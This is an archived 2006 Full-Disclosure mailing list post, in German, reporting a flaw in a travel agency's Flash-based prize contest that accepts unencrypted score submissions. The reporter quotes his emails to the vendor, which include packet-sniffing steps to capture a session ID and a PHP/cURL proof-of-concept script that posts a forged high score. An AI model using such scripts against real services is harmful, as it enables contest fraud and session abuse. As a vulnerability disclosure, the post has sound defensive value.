lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Wed Jun 21 15:04:30 2006 From: constantin.hofstetter at gmail.com (Constantin Hofstetter) Subject: Neckermann Welten - Online Gewinnspiel (German Travel Agency) Sorry for posting in German, but its propably only interesting for those Germans out there, anyway - Ich hab vor laengerer Zeit (24ter Mai) Neckermann / Neckermann Urlaubswelt und One-Internet-Development ( http://one-internet-development.de) (Die Webdesign Firma welche fuer die Realisierung des Gewinnspiels zustaendig ist), mit folgender Email auf eine "Sicherheitsluecke" im Neckermann Urlaubswelt Gewinnspiel (zu finden unter: http://neckermann.one-internet-development.de/) hingewiesen: ----------------------------------- Gesendet am 24ten Mai 2006 ----------------------------------- .... Beim Gewinnspiel unter http://neckermann .one-internet-development.de/<http://neckermann.one-internet-development.de/> handelt es sich um ein Spiel im Macromedia Flash Format - Technisch gesehn wird dabei eine Macromedia Flash (SWF) Datei auf den Computer des Internet Besuchers heruntergeladen und ausgef?hrt - der Internet Besucher ist hierbei der "Client", der Webserver des Neckermann Gewinnspiels der "Server". Wenn das Spiel gespielt worden ist, wird das Ergebnis vom "Client" Computer zum "Server" unverschl?sselt ?bertragen - um das Ergebnis mit dem angemeldeten Benutzer in Verbindung bringen zu k?nnen wird desweiteren eine "Session ID" gesendet (erst vom Server zum Client, dann bei jedem weiteren Datenwechsel im Datenpaket beinhaltet); Ein "Angreifer" bzw. "Betr?ger" kann in diesem Fall die Packete nach einem einmaligen Spiel abfangen und analysieren - beim n?chsten Spiel / einer neuen "Spielchance" kann er eigene Daten-Pakete erstellen und ein verf?lschtes Ergebnis an den Server schicken. Ich weiss nicht inwiefern Sie sich mit PHP / Curl auskennen, aber hier ist eine kleine Beispiel Datei (Proof-Of-Concept): Folgende Software ist von n?ten: Etherreal (http://www.ethereal.com/) (oder ein ?hnlicher Paketsniffer, der die gesendeten / empfangenen Pakete auf einem Netzwerkadapter aufzeichnet), ein Apache Server (http://www.apache.org) mit PHP Modul ( http://www.php.org) und Curl Libary (http://curl.haxx.se/). Schritt 1: Die Software Etherreal wird (auf dem Client PC) gestartet und so konfiguriert das es auf dem Netzwerkadapter mit Internetverbindung (z.B. Modem, Netzwerkadapter zum Gateway / Router) die Datenpakete auf dem TCP Port 80 (http Port) abh?rt; Schritt 2: Der Benutzer loggt sich auf der Neckermann Internetseite ein - Der Packet-Sniffer Etherreal sollte zu diesem Zeitpunkt bereits die "SessionID" in einem der Pakete vom Server zum Client abgefangen haben (z.B. "d4e8a78867921fb00bf17de30f05671e"); Schritt 3: Anstatt das Spiel zu starten geben wir die gew?nschten Werte in folgendes Skript ein und laden es auf einem Apache Server mit PHP Modul und Curl Library: <?php $url = "http:// neckermann.one-internet-development.de/index.php?mod=result<http://neckermann.one-internet-development.de/index.php?mod=result> "; $punkte = "3200"; // Die Gew?nschte Punktzahl - das verf?lschte Ergebnis $id = "d4e8a78867921fb00bf17de30f05671e"; // Unsere Session ID $post_string = "onLoad=%5Btype%20Function%5D&punkte=". $punkte; $header = array( "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.8.0.3) Gecko/20060426 Firefox/1.5.0.3", "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5", "Accept-Language: en-us,en;q= 0.5", "Accept-Encoding: gzip,deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive: 300", "Connection: keep-alive", "Cookie: PHPSESSID=". $id ."", "Content-type: application/x-www-form-urlencoded", "Content-length: ".strlen($post_string)."", ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 4); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_POST, 1); // set POST method curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string); // add POST fields $data = curl_exec($ch); if (curl_errno($ch)) { print curl_error($ch); } else { print $data; curl_close($ch); } ?> --- Das Skript erstellt ein Daten-Paket und schickt dieses an den Neckermann Server - der Server glaubt nun, dass der angemeldete Benutzer (zu identifizieren anhand der PHP Session ID ($id Wert, den wir vorher mit dem Packet-Sniffer Etherreal erfasst haben)) das Spiel gespielt und eine Punktzahl von 3200 Punkten erreicht hat. Die Werte k?nnen angepasst werden (h?here Punktzahl, andere Session ID) - Das w?re eine M?glichkeit in dem Spiel zu "betr?gen" - leider kommt das immer ?fters vor (ich sprech da "aus Erfahrung" :) ) und es ist wichtig die Webhoster / Gewinnspielanbieter darauf hinzuweisen, dass eine Server-Client L?sung wie die von Macromedia mit Macromedia Flash sich nicht als Gewinnspiel (mit Highscore-Preisaussch?ttung) eignen - selbst wenn das Ergebnis in der Flash Datei verschl?sselt werden sollte ... die Datei kann "decompiliert", der Verschl?sselungsmechanismus nachgestellt und wieder ein "richtiges" Ergebnis versendet werden. Als einigerma?en wirkungsvoll zeigt sich die "obfuscation" (zu Deutsch: "Benebelung", "Verwirrung") der Flash Datei selbst (Siehe z.B.: http://www.amayeta.com/software/swfencrypt/ ) - dann kann der Source Code nicht mehr so leicht decompiliert werden .. aber leider ist selbst dieser Weg nicht 100% sicher - mit dem richtigen Know How und einer anst?ndigen Menge an "Freizeit" kann man auch dieses System umgehen (der Sourcecode ist ja noch vorhanden, nur verkompliziert ..); Um ehrlich zu sein w?rde ich die Preise verlosen (w?re gerecht, aber vielleicht nicht so "interessant" f?r die Spieler) - Gewinnspiele wie das auf Neckermann Urlaubs Welt sind aber leider sonst viel zu sehr im Interesse von Skript-Kiddies, Hackern und einfachen Betr?gern als das wirklich jemand gewinnt der auch fair gespielt hat. Ich selbst bin mit dem Benutzernamen "Consti" im System angemeldet - und habe nach dreimaligem "Spielen" eine Highscore von "7260" Punkten - was meines Erachtens ohne das erstellen von eigenen Paketen nicht m?glich w?re - Sie k?nnen also meinen Account getrost entfernen (ich hab aber auch nicht vor, weiter zu "spielen", denn ich bin mir sicher das die ersten Pl?tze mit diesen immensen Ergebnissen eh schon er-cheated wurden :) ). Und am Ende der Mail noch kurz zu mir ("Werbung" in eigener Sache *lach*): Ich bin 20 Jahre jung, gerade mit meinem Zivi fertig und beginne im September mit meinem Wirtschaftsinformatik Studium in Wien (wenn alles "glatt" l?uft bin ich in knapp 6 Jahren Dipl. Wirtschaftsingenieur Informatik) - ich hab nicht vor irgendwas zu verkaufen oder in Rechnung zu stellen und wollte Sie nur auf den Fehler (im eigentlichen Highscore-Gewinnspielsystem mit Flash Dateien) hinweisen. Ich hoffe Sie entscheiden zu gunsten einer Verlosung der Gewinne um ein "Gewinnen-durch-betr?gen" gr??tenteils ausschlie?en zu k?nnen! Ich hoffe ich konnte Ihnen das "Problem" ausreichend erl?utern und stehe nat?rlich auch weiterhin f?r etwaige Fragen gerne zur Verf?gung! .... -------------------- -------------------- Am 30ten Mai kam dann die Feedback mail - Die Infos waeren an geeignete Stelle weitergeleitet worden. Als am 14ten Juni immer noch die gleiche "Sicherheitsluecke" (bzw. der gleiche Design-Fehler) vorhanden war schrieb ich folgende Email: ---------------------- 14ter Juni 2006 ---------------------- ... Wie es scheint hat meine letzte Email nicht die von mir erhofften Reaktionen hervorgerufen - Die Highscore Ergebnisse sind immer noch er-cheated und wenn das am 30. Juni noch immer der Fall sein sollte werden die Preise an den besten "cheater" aber nicht den besten Spieler ausgegeben. Ich bitte Sie, es den Hackern/Tricksern nicht ganz so leicht zu machen und rate Ihnen weiterhin die Ausgabe der Gewinne nicht nach einer Highscore zu gestalten sondern unter allen Teilnehmern zu verlosen. ... --------------------- --------------------- Die Antwort darauf kam am 21 Juni (heute) und lautete wie folgt: ---------------------- Unsere Programmierer haben f?r die n?tige Sicherheit gesorgt, um Extrem-Hackern den Spa? zu verderben. ----------------------- Nach ueberpruefung habe ich feststellen koennen das nichts am System geandert wurde und die erstellung von "fake" Scores weiterhin sehr einfach ist. Ein Blick auf die Highscore: http://neckermann.one-internet-development.de/index.php?mod=highscore laesst auch annehmen das die Scores ercheated sind (ein Sprung von 300.000zu 400.000 Punkte? - wobei jedes Spiel max 5000 Punkte gibt? erscheint fuer mich nicht schluessig -) Wenn das so weiter geht werden die Preise am 30. Juni an den / die besten Cheater ausgegeben - und der Firma scheint dies, trotz meiner Emails nicht bewusst zu sein. Ich hoffe, dass ich mit diesem Post andere Webdesign Firmen ueber das Struktuelle Problem "Preis-Vergabe-Nach-Highscore-mit-Flash-Spielen" aufklaeren konnte. Mit freundlichen Gruessen, -- Constantin Hofstetter http://www.consti.de Constantin.Hofstetter@...il.com mailmespam@...il.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060621/4987e4c9/attachment.html
Powered by blists - more mailing lists